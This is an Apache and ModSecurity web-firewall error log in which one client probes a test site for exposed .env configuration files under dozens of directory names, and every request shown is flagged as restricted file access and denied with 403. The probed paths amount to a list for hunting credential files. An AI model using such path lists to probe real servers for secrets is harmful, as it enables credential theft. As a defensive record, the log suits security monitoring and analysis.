[Mon Jul 28 20:46:23.337471 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGQAAAAI&quot;]
[Mon Jul 28 20:46:23.337642 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGQAAAAI&quot;]
[Mon Jul 28 20:46:23.370100 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ts/prime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGgAAAAI&quot;]
[Mon Jul 28 20:46:23.370309 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGgAAAAI&quot;]
[Mon Jul 28 20:46:23.370500 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ts/prime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGgAAAAI&quot;]
[Mon Jul 28 20:46:23.432688 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ubuntu/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHQAAAAI&quot;]
[Mon Jul 28 20:46:23.432877 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHQAAAAI&quot;]
[Mon Jul 28 20:46:23.433052 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ubuntu/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHQAAAAI&quot;]
[Mon Jul 28 20:46:23.453976 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ui/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHgAAAAI&quot;]
[Mon Jul 28 20:46:23.454163 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHgAAAAI&quot;]
[Mon Jul 28 20:46:23.454405 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ui/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHgAAAAI&quot;]
[Mon Jul 28 20:46:23.474290 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unixtime/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHwAAAAI&quot;]
[Mon Jul 28 20:46:23.474500 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHwAAAAI&quot;]
[Mon Jul 28 20:46:23.474664 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unixtime/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqHwAAAAI&quot;]
[Mon Jul 28 20:46:23.494865 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /unsplash-downloader/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIAAAAAI&quot;]
[Mon Jul 28 20:46:23.495048 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIAAAAAI&quot;]
[Mon Jul 28 20:46:23.495220 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/unsplash-downloader/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIAAAAAI&quot;]
[Mon Jul 28 20:46:23.536654 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIgAAAAI&quot;]
[Mon Jul 28 20:46:23.536848 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIgAAAAI&quot;]
[Mon Jul 28 20:46:23.537022 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upfiles/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIgAAAAI&quot;]
[Mon Jul 28 20:46:23.557346 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /upload/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIwAAAAI&quot;]
[Mon Jul 28 20:46:23.557568 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIwAAAAI&quot;]
[Mon Jul 28 20:46:23.557753 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/upload/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqIwAAAAI&quot;]
[Mon Jul 28 20:46:23.577947 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /uploads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJAAAAAI&quot;]
[Mon Jul 28 20:46:23.578137 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJAAAAAI&quot;]
[Mon Jul 28 20:46:23.578295 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/uploads/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJAAAAAI&quot;]
[Mon Jul 28 20:46:23.598444 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /urlmem-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJQAAAAI&quot;]
[Mon Jul 28 20:46:23.598646 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJQAAAAI&quot;]
[Mon Jul 28 20:46:23.598816 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/urlmem-app/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJQAAAAI&quot;]
[Mon Jul 28 20:46:23.619117 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJgAAAAI&quot;]
[Mon Jul 28 20:46:23.619321 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJgAAAAI&quot;]
[Mon Jul 28 20:46:23.619491 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/user/.env.staging&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqJgAAAAI&quot;]
[Mon Jul 28 20:46:23.661239 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /user_info/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/User_info/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqKAAAAAI&quot;]
